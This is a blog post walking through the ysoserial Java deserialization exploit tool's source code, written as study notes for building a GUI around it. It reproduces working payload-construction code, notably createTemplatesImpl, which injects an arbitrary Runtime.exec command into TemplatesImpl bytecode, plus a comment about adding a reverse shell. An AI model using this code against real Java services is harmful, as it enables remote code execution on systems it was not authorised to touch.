1765 words
9 minutes
ysoserial Source Code Walkthrough

My IAST backend was mostly done, and I recently started learning Electron so I can build a frontend. I wanted a small project to practice with, so I decided to build a GUI for ysoserial and add some custom features. If you want to extend ysoserial, you inevitably have to study the original project — so I wrote this article as notes for future review.

Code Structure#

ysoserial’s source structure looks like this, mainly containing three parts:

  • exploit
  • payloads
  • secmgr

image-20231112221449710

Below is a brief description of what each part does.

exploit package#

This package contains code that performs real-world exploitation against different targets.

payloads package#

annotation package#

This package contains annotation-related metadata, mainly used to label author/dependency/test information for gadgets.

Authors annotation#

Defines an annotation that stores author information to tag the gadget author. Nothing special beyond that.

Dependencies annotation#

Annotation for describing dependency information.

PayloadTest annotation#

Used to mark whether a gadget should be tested and whether the test may trigger certain exceptions. This is used in gadget testing.

util package#

The util module is a utility module that wraps common operations used throughout ysoserial, such as class file operations and reflection helpers.

ClassFiles class#

ClassFiles handles class file operations. ysoserial frequently needs to read class bytes, so this is extracted into a dedicated class. Let’s go through its key methods.

  • classAsFile
public static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}

classAsFile has two overloads. In short, it converts a Class into the corresponding class file path.

The overload uses getEnclosingClass() to detect inner classes. For normal classes it returns something like com/springkill/clazz. For inner classes it produces com/springkill/clazz$1-style names. The suffix flag controls whether .class is appended.

  • classAsBytes
public static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}

This method reads the class file bytes as a byte[].

Gadgets class#

At a high level, this class contains helper methods to dynamically create/operate on Java objects.

First, two inner classes:

Inner class: StubTransletPayload#

This inner class is used as a “harmless-looking carrier” for deserialization demos. It extends AbstractTranslet and implements transform, serving as a payload container later.

Inner class: Foo#

Defines a serialVersionUID and does nothing else. It is used as an auxiliary class later.

Methods in Gadgets#
  • Static initializer

Initializes two system properties: one to allow deserialization of TemplatesImpl, and one to allow remote RMI class loading.

  • createMemoitizedProxy / createProxy
public static <T> T createMemoitizedProxy ( final Map<String, Object> map, final Class<T> iface, final Class<?>... ifaces ) throws Exception {
return createProxy(createMemoizedInvocationHandler(map), iface, ifaces);
}
//创建一个自定义sun.reflect.annotation.AnnotationInvocationHandler实例
public static InvocationHandler createMemoizedInvocationHandler ( final Map<String, Object> map ) throws Exception {
return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
}
//动态创建代理,实现所有给定接口
public static <T> T createProxy ( final InvocationHandler ih, final Class<T> iface, final Class<?>... ifaces ) {
final Class<?>[] allIfaces = (Class<?>[]) Array.newInstance(Class.class, ifaces.length + 1);
allIfaces[ 0 ] = iface;
if ( ifaces.length > 0 ) {
System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length);
}
//使用cast进行类型转换
return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih));
}

These methods create a dynamic proxy. createMemoizedInvocationHandler constructs a custom sun.reflect.annotation.AnnotationInvocationHandler instance, and createProxy creates a proxy implementing the desired interfaces.

  • createMap

Creates a HashMap with the given key and value. ysoserial uses HashMap frequently, so it wraps it.

  • Two createTemplatesImpl methods
public static Object createTemplatesImpl ( final String command ) throws Exception {
//检查properXalan的值是否被设定为了True,如果是那么就使用if块内的逻辑,否则调用重载方法
if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
return createTemplatesImpl(
command,
Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
}
return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
//反射创建实例
final T templates = tplClass.newInstance();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath( StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// 初始化cmd字符串
String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replace("\\", "\\\\").replace("\"", "\\\"") +
"\");";
// 插入cmd到静态代码块
clazz.makeClassInitializer().insertAfter(cmd);
// 给类设置名字 sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
// 设置父类
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);
// 转换为字节码数组
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

This logic constructs a TemplatesImpl gadget. The first overload checks the properXalan property to decide whether to use the external Apache Xalan classes or the built-in JDK Xalan implementation.

In the generic overload:

  1. Instantiate templates via reflection.
  2. Use Javassist to obtain a CtClass for StubTransletPayload.
  3. Wrap the supplied command into Runtime.exec(...) and inject it into the class static initializer.
  4. Rename the class to a pseudo-random name and set the superclass.
  5. Generate bytecode (classBytes).
  6. Use reflection to set the _bytecodes field in templates to include the injected class and Foo.
  7. Set _name and _tfactory.
  • makeMap
public static HashMap makeMap ( Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
// 反射设置size字段为2
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
// 对于Java8之后的HashMap,获取java.util.HashMap$Node
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
// 对于Java8之前的HashMap,获取java.util.HashMap$Entry
nodeC = Class.forName("java.util.HashMap$Entry");
}
// 获取构造函数并设置setAccessible以供直接访问,创建节点
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
// 创建数组用来存储nodeC节点
Object tbl = Array.newInstance(nodeC, 2);
// 将v1和v2作为key、value放入到节点中,然后再插入法哦数组内,最后将数组放到HashMap中
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}

This method builds a HashMap in a very specific internal state:

  1. Create a HashMap and set its internal size to 2.
  2. Choose HashMap$Node (Java 8+) or HashMap$Entry (pre-Java 8).
  3. Create a 2-element table array and fill it with two nodes.
  4. Assign the array to the internal table field.

JavaVersion class#

Just detects the current Java version.

PayloadRunner class#

As the name implies, it runs a payload test: serialize and deserialize once, and see if it triggers the expected behavior.

Reflections class#

This class wraps reflection helpers that are used frequently throughout ysoserial.

  • setAccessible

Calls setAccessible on a Field/Method/Constructor, with logic that adapts to Java versions.

  • getField

Gets a declared field from a class. If not present, it recursively searches in the superclass.

  • setFieldValue / getFieldValue

Set/get a specific field value by first resolving the field via getField.

  • getFirstCtor / newInstance

Helpers to retrieve a constructor and instantiate an object.

  • createWithoutConstructor / createWithConstructor
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
@SuppressWarnings ( {"unchecked"} )
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
setAccessible(objCons);
// 生成伪构造函数
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
setAccessible(sc);
return (T)sc.newInstance(consArgs);
}

This is interesting: createWithConstructor uses newConstructorForSerialization to create a “fake” constructor, which can instantiate an object without invoking the real constructor logic.

newConstructorForSerialization can create an instance even if the class has no default constructor, because it generates a ConstructorAccessor via bytecode.

ObjectPayload interface#

This interface is the parent interface for all payload implementations (the gadget chains).

The interface itself is simple, but it contains a Utils inner class with multiple helper methods:

  • getPayloadClasses: find all classes implementing ObjectPayload
  • getPayloadClass: load a payload class by name and ensure it implements ObjectPayload
  • makePayloadObject: instantiate a payload implementation
  • releasePayload: cleanup support

ReleaseableObjectPayload interface#

Used together with releasePayload to cleanup/release resources for a payload.

secmgr package#

This package contains two SecurityManager subclasses to customize security checks.

DelegateSecurityManager#

Acts as a delegating SecurityManager wrapper. To support JDK 10+ compatibility, some methods are stubbed/emptied (getInCheck, checkTopLevelWindow, checkSystemClipboardAccess, checkAwtEventQueueAccess, checkMemberAccess).

It then overrides many SecurityManager methods and delegates to its securityManager member.

ExecCheckingSecurityManager#

Also extends SecurityManager, used to detect command execution and decide whether to throw exceptions.

Deserializer class#

Wraps ysoserial’s common deserialization operations. It works with PayloadRunner to test a payload.

public class Deserializer implements Callable<Object> {
private final byte[] bytes;
// 将接受的字节数组存入成员变量
public Deserializer(byte[] bytes) { this.bytes = bytes; }
// 实现call方法,调用时反序列化字节数组
public Object call() throws Exception {
return deserialize(bytes);
}
// 数组转换为流
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
// readobject
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
// 入口
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}

Serializer class#

Wraps common serialization operations. It’s similar to Deserializer, so I won’t repeat it.

GeneratePayload class#

As the name suggests, this is the payload generation entry point.

  • main: parses CLI args (gadget and command), instantiates the payload, serializes it, and prints it; on failure it returns a predefined exit code.
  • printUsage: prints usage text.

Strings class#

Wraps common string helpers (join, repeat, format, comparison, etc.).

How Does ysoserial Work?#

After covering the packages and classes above, it can still feel confusing. The following diagram summarizes how ysoserial works:

image-20231112221509445

The console input specifies the gadget chain and the command. These are passed into the entry point GeneratePayload. GeneratePayload invokes the selected ObjectPayload implementation to create the gadget object. During this process, the payload implementation uses helpers like Gadgets and Reflections to build the object graph. Finally, GeneratePayload uses Serializer to serialize it and prints the serialized bytes to stdout.

ysoserial Source Code Walkthrough
https://springkill.github.io/en/posts/ysoserial源码详解/
Author
SpringKill
Published at
2023-11-12
License
CC BY-NC-SA 4.0